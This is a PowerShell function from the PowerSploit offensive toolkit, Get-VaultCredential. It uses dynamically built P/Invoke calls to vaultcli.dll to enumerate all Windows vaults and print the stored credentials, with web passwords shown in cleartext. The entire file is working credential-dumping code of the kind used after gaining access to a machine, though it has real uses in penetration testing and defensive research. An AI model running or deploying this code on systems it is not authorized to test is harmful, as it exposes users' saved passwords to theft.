﻿function Get-VaultCredential
{
<#
.SYNOPSIS

Displays Windows vault credential objects including cleartext web credentials.

PowerSploit Function: Get-VaultCredential
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
 
.DESCRIPTION

Get-VaultCredential enumerates and displays all credentials stored in the Windows
vault. Web credentials, specifically are displayed in cleartext. This script was
inspired by the following C implementation: http://www.oxid.it/downloads/vaultdump.txt

.EXAMPLE

Get-VaultCredential

.NOTES

Only web credentials can be displayed in cleartext.
#>
    [CmdletBinding()] Param()

    $OSVersion = [Environment]::OSVersion.Version
    $OSMajor = $OSVersion.Major
    $OSMinor = $OSVersion.Minor

    #region P/Invoke declarations for vaultcli.dll
    $DynAssembly = New-Object System.Reflection.AssemblyName('VaultUtil')
    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('VaultUtil', $False)

    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_ELEMENT_TYPE', 'Public', [Int32])
    $null = $EnumBuilder.DefineLiteral('Undefined', -1)
    $null = $EnumBuilder.DefineLiteral('Boolean', 0)
    $null = $EnumBuilder.DefineLiteral('Short', 1)
    $null = $EnumBuilder.DefineLiteral('UnsignedShort', 2)
    $null = $EnumBuilder.DefineLiteral('Int', 3)
    $null = $EnumBuilder.DefineLiteral('UnsignedInt', 4)
    $null = $EnumBuilder.DefineLiteral('Double', 5)
    $null = $EnumBuilder.DefineLiteral('Guid', 6)
    $null = $EnumBuilder.DefineLiteral('String', 7)
    $null = $EnumBuilder.DefineLiteral('ByteArray', 8)
    $null = $EnumBuilder.DefineLiteral('TimeStamp', 9)
    $null = $EnumBuilder.DefineLiteral('ProtectedArray', 10)
    $null = $EnumBuilder.DefineLiteral('Attribute', 11)
    $null = $EnumBuilder.DefineLiteral('Sid', 12)
    $null = $EnumBuilder.DefineLiteral('Last', 13)
    $VAULT_ELEMENT_TYPE = $EnumBuilder.CreateType()

    $EnumBuilder = $ModuleBuilder.DefineEnum('VaultLib.VAULT_SCHEMA_ELEMENT_ID', 'Public', [Int32])
    $null = $EnumBuilder.DefineLiteral('Illegal', 0)
    $null = $EnumBuilder.DefineLiteral('Resource', 1)
    $null = $EnumBuilder.DefineLiteral('Identity', 2)
    $null = $EnumBuilder.DefineLiteral('Authenticator', 3)
    $null = $EnumBuilder.DefineLiteral('Tag', 4)
    $null = $EnumBuilder.DefineLiteral('PackageSid', 5)
    $null = $EnumBuilder.DefineLiteral('AppStart', 100)
    $null = $EnumBuilder.DefineLiteral('AppEnd', 10000)
    $VAULT_SCHEMA_ELEMENT_ID = $EnumBuilder.CreateType()

    $LayoutConstructor = [Runtime.InteropServices.StructLayoutAttribute].GetConstructor([Runtime.InteropServices.LayoutKind])
    $CharsetField = [Runtime.InteropServices.StructLayoutAttribute].GetField('CharSet')
    $StructLayoutCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($LayoutConstructor,
                                                                                     @([Runtime.InteropServices.LayoutKind]::Explicit),
                                                                                     $CharsetField,
                                                                                     @([Runtime.InteropServices.CharSet]::Ansi))
    $StructAttributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit'

    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM', $StructAttributes, [Object], [System.Reflection.Emit.PackingSize]::Size4)
    $null = $TypeBuilder.DefineField('SchemaId', [Guid], 'Public')
    $null = $TypeBuilder.DefineField('pszCredentialFriendlyName', [IntPtr], 'Public')
    $null = $TypeBuilder.DefineField('pResourceElement', [IntPtr], 'Public')
    $null = $TypeBuilder.DefineField('pIdentityElement', [IntPtr], 'Public')
    $null = $TypeBuilder.DefineField('pAuthenticatorElement', [IntPtr], 'Public')
    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
    {
        $null = $TypeBuilder.DefineField('pPackageSid', [IntPtr], 'Public')
    }
    $null = $TypeBuilder.DefineField('LastModified', [UInt64], 'Public')
    $null = $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public')
    $null = $TypeBuilder.DefineField('dwPropertiesCount', [UInt32], 'Public')
    $null = $TypeBuilder.DefineField('pPropertyElements', [IntPtr], 'Public')
    $VAULT_ITEM = $TypeBuilder.CreateType()

    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.VAULT_ITEM_ELEMENT', $StructAttributes)
    $TypeBuilder.SetCustomAttribute($StructLayoutCustomAttribute)
    $null = $TypeBuilder.DefineField('SchemaElementId', $VAULT_SCHEMA_ELEMENT_ID, 'Public').SetOffset(0)
    $null = $TypeBuilder.DefineField('Type', $VAULT_ELEMENT_TYPE, 'Public').SetOffset(8)
    $VAULT_ITEM_ELEMENT = $TypeBuilder.CreateType()


    $TypeBuilder = $ModuleBuilder.DefineType('VaultLib.Vaultcli', 'Public, Class')
    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultOpenVault',
                                                      'vaultcli.dll',
                                                      'Public, Static',
                                                      [Reflection.CallingConventions]::Standard,
                                                      [Int32],
                                                      [Type[]] @([Guid].MakeByRefType(),
                                                                 [UInt32],
                                                                 [IntPtr].MakeByRefType()),
                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
                                                      [Runtime.InteropServices.CharSet]::Auto)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultCloseVault',
                                                      'vaultcli.dll',
                                                      'Public, Static',
                                                      [Reflection.CallingConventions]::Standard,
                                                      [Int32],
                                                      [Type[]] @([IntPtr].MakeByRefType()),
                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
                                                      [Runtime.InteropServices.CharSet]::Auto)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultFree',
                                                      'vaultcli.dll',
                                                      'Public, Static',
                                                      [Reflection.CallingConventions]::Standard,
                                                      [Int32],
                                                      [Type[]] @([IntPtr]),
                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
                                                      [Runtime.InteropServices.CharSet]::Auto)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateVaults',
                                                      'vaultcli.dll',
                                                      'Public, Static',
                                                      [Reflection.CallingConventions]::Standard,
                                                      [Int32],
                                                      [Type[]] @([Int32],
                                                                 [Int32].MakeByRefType(),
                                                                 [IntPtr].MakeByRefType()),
                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
                                                      [Runtime.InteropServices.CharSet]::Auto)

    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultEnumerateItems',
                                                      'vaultcli.dll',
                                                      'Public, Static',
                                                      [Reflection.CallingConventions]::Standard,
                                                      [Int32],
                                                      [Type[]] @([IntPtr],
                                                                 [Int32],
                                                                 [Int32].MakeByRefType(),
                                                                 [IntPtr].MakeByRefType()),
                                                      [Runtime.InteropServices.CallingConvention]::Winapi,
                                                      [Runtime.InteropServices.CharSet]::Auto)

    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
    {
        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
                                                          'vaultcli.dll',
                                                          'Public, Static',
                                                          [Reflection.CallingConventions]::Standard,
                                                          [Int32],
                                                          [Type[]] @([IntPtr],
                                                                     [Guid].MakeByRefType(),
                                                                     [IntPtr],
                                                                     [IntPtr],
                                                                     [IntPtr],
                                                                     [IntPtr],
                                                                     [Int32],
                                                                     [IntPtr].MakeByRefType()),
                                                          [Runtime.InteropServices.CallingConvention]::Winapi,
                                                          [Runtime.InteropServices.CharSet]::Auto)
    }
    else
    {
        $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('VaultGetItem',
                                                          'vaultcli.dll',
                                                          'Public, Static',
                                                          [Reflection.CallingConventions]::Standard,
                                                          [Int32],
                                                          [Type[]] @([IntPtr],
                                                                     [Guid].MakeByRefType(),
                                                                     [IntPtr],
                                                                     [IntPtr],
                                                                     [IntPtr],
                                                                     [Int32],
                                                                     [IntPtr].MakeByRefType()),
                                                          [Runtime.InteropServices.CallingConvention]::Winapi,
                                                          [Runtime.InteropServices.CharSet]::Auto)
    }

    $Vaultcli = $TypeBuilder.CreateType()
    #endregion

    # Helper function to extract the ItemValue field from a VAULT_ITEM_ELEMENT struct.
    function local:Get-VaultElementValue
    {
        Param (
            [ValidateScript({$_ -ne [IntPtr]::Zero})]
            [IntPtr]
            $VaultElementPtr
        )

        $PartialElement = [Runtime.InteropServices.Marshal]::PtrToStructure($VaultElementPtr, [Type] $VAULT_ITEM_ELEMENT)
        $ElementPtr = [IntPtr] ($VaultElementPtr.ToInt64() + 16)

        switch ($PartialElement.Type)
        {
            $VAULT_ELEMENT_TYPE::String {
                $StringPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
                [Runtime.InteropServices.Marshal]::PtrToStringUni([IntPtr] $StringPtr)
            }

            $VAULT_ELEMENT_TYPE::Boolean {
                [Bool] [Runtime.InteropServices.Marshal]::ReadByte([IntPtr] $ElementPtr)
            }

            $VAULT_ELEMENT_TYPE::Short {
                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
            }

            $VAULT_ELEMENT_TYPE::UnsignedShort {
                [Runtime.InteropServices.Marshal]::ReadInt16([IntPtr] $ElementPtr)
            }

            $VAULT_ELEMENT_TYPE::Int {
                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
            }

            $VAULT_ELEMENT_TYPE::UnsignedInt {
                [Runtime.InteropServices.Marshal]::ReadInt32([IntPtr] $ElementPtr)
            }

            $VAULT_ELEMENT_TYPE::Double {
                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Double])
            }

            $VAULT_ELEMENT_TYPE::Guid {
                [Runtime.InteropServices.Marshal]::PtrToStructure($ElementPtr, [Type] [Guid])
            }

            $VAULT_ELEMENT_TYPE::Sid {
                $SidPtr = [Runtime.InteropServices.Marshal]::ReadIntPtr([IntPtr] $ElementPtr)
                Write-Verbose "0x$($SidPtr.ToString('X8'))"
                $SidObject = [Security.Principal.SecurityIdentifier] ([IntPtr] $SidPtr)
                $SidObject.Value
            }

            # These elements are currently unimplemented.
            # I have yet to see these used in practice.
            $VAULT_ELEMENT_TYPE::ByteArray { $null }
            $VAULT_ELEMENT_TYPE::TimeStamp { $null }
            $VAULT_ELEMENT_TYPE::ProtectedArray { $null }
            $VAULT_ELEMENT_TYPE::Attribute { $null }
            $VAULT_ELEMENT_TYPE::Last { $null }
        }
    }

    $VaultCount = 0
    $VaultGuidPtr = [IntPtr]::Zero
    $Result = $Vaultcli::VaultEnumerateVaults(0, [Ref] $VaultCount, [Ref] $VaultGuidPtr)

    if ($Result -ne 0)
    {
        throw "Unable to enumerate vaults. Error (0x$($Result.ToString('X8')))"
    }

    $GuidAddress = $VaultGuidPtr

    $VaultSchema = @{
        ([Guid] '2F1A6504-0641-44CF-8BB5-3612D865F2E5') = 'Windows Secure Note'
        ([Guid] '3CCD5499-87A8-4B10-A215-608888DD3B55') = 'Windows Web Password Credential'
        ([Guid] '154E23D0-C644-4E6F-8CE6-5069272F999F') = 'Windows Credential Picker Protector'
        ([Guid] '4BF4C442-9B8A-41A0-B380-DD4A704DDB28') = 'Web Credentials'
        ([Guid] '77BC582B-F0A6-4E15-4E80-61736B6F3B29') = 'Windows Credentials'
        ([Guid] 'E69D7838-91B5-4FC9-89D5-230D4D4CC2BC') = 'Windows Domain Certificate Credential'
        ([Guid] '3E0E35BE-1B77-43E7-B873-AED901B6275B') = 'Windows Domain Password Credential'
        ([Guid] '3C886FF3-2669-4AA2-A8FB-3F6759A77548') = 'Windows Extended Credential'
        ([Guid] '00000000-0000-0000-0000-000000000000') = $null
    }

    if ($VaultCount)
    {
        foreach ($i in 1..$VaultCount)
        {
            $VaultGuid = [Runtime.InteropServices.Marshal]::PtrToStructure($GuidAddress, [Type] [Guid])
            $GuidAddress = [IntPtr] ($GuidAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] [Guid]))

            $VaultHandle = [IntPtr]::Zero

            Write-Verbose "Opening vault - $($VaultSchema[$VaultGuid]) ($($VaultGuid))"

            $Result = $Vaultcli::VaultOpenVault([Ref] $VaultGuid, 0, [Ref] $VaultHandle)

            if ($Result -ne 0)
            {
                Write-Error "Unable to open the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
                continue
            }

            $VaultItemCount = 0
            $VaultItemPtr = [IntPtr]::Zero

            $Result = $Vaultcli::VaultEnumerateItems($VaultHandle, 512, [Ref] $VaultItemCount, [Ref] $VaultItemPtr)

            if ($Result -ne 0)
            {
                $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
                Write-Error "Unable to enumerate vault items from the following vault: $($VaultSchema[$VaultGuid]). Error (0x$($Result.ToString('X8')))"
                continue
            }

            $StructAddress = $VaultItemPtr

            if ($VaultItemCount)
            {
                foreach ($j in 1..$VaultItemCount)
                {
                    $CurrentItem = [Runtime.InteropServices.Marshal]::PtrToStructure($StructAddress, [Type] $VAULT_ITEM)
                    $StructAddress = [IntPtr] ($StructAddress.ToInt64() + [Runtime.InteropServices.Marshal]::SizeOf([Type] $VAULT_ITEM))

                    $PasswordVaultItem = [IntPtr]::Zero

                    if ($OSMajor -ge 6 -and $OSMinor -ge 2)
                    {
                        $Result = $Vaultcli::VaultGetItem($VaultHandle,
                                                          [Ref] $CurrentItem.SchemaId,
                                                          $CurrentItem.pResourceElement,
                                                          $CurrentItem.pIdentityElement,
                                                          $CurrentItem.pPackageSid,
                                                          [IntPtr]::Zero,
                                                          0,
                                                          [Ref] $PasswordVaultItem)
                    }
                    else
                    {
                        $Result = $Vaultcli::VaultGetItem($VaultHandle,
                                                          [Ref] $CurrentItem.SchemaId,
                                                          $CurrentItem.pResourceElement,
                                                          $CurrentItem.pIdentityElement,
                                                          [IntPtr]::Zero,
                                                          0,
                                                          [Ref] $PasswordVaultItem)
                    }

                    $PasswordItem = $null

                    if ($Result -ne 0)
                    {
                        Write-Error "Error occured retrieving vault item. Error (0x$($Result.ToString('X8')))"
                        continue
                    }
                    else
                    {
                        $PasswordItem = [Runtime.InteropServices.Marshal]::PtrToStructure($PasswordVaultItem, [Type] $VAULT_ITEM)
                    }

                    if ($VaultSchema.ContainsKey($VaultGuid))
                    {
                        $VaultType = $VaultSchema[$VaultGuid]
                    }
                    else
                    {
                        $VaultType = $VaultGuid
                    }

                    if ($PasswordItem.pAuthenticatorElement -ne [IntPtr]::Zero)
                    {
                        $Credential = Get-VaultElementValue $PasswordItem.pAuthenticatorElement
                    }
                    else
                    {
                        $Credential = $null
                    }

                    $PackageSid = $null

                    if ($CurrentItem.pPackageSid -and ($CurrentItem.pPackageSid -ne [IntPtr]::Zero))
                    {
                        $PackageSid = Get-VaultElementValue $CurrentItem.pPackageSid
                    }


                    $Properties = @{
                        Vault = $VaultType
                        Resource = if ($CurrentItem.pResourceElement) { Get-VaultElementValue $CurrentItem.pResourceElement } else { $null }
                        Identity = if ($CurrentItem.pIdentityElement) { Get-VaultElementValue $CurrentItem.pIdentityElement } else { $null }
                        PackageSid = $PackageSid
                        Credential = $Credential
                        LastModified = [DateTime]::FromFileTimeUtc($CurrentItem.LastModified)
                    }

                    $VaultItem = New-Object PSObject -Property $Properties
                    $VaultItem.PSObject.TypeNames[0] = 'VAULTCLI.VAULTITEM'

                    $VaultItem

                    $null = $Vaultcli::VaultFree($PasswordVaultItem)
                }
            }

            $null = $Vaultcli::VaultCloseVault([Ref] $VaultHandle)
        }
    }
}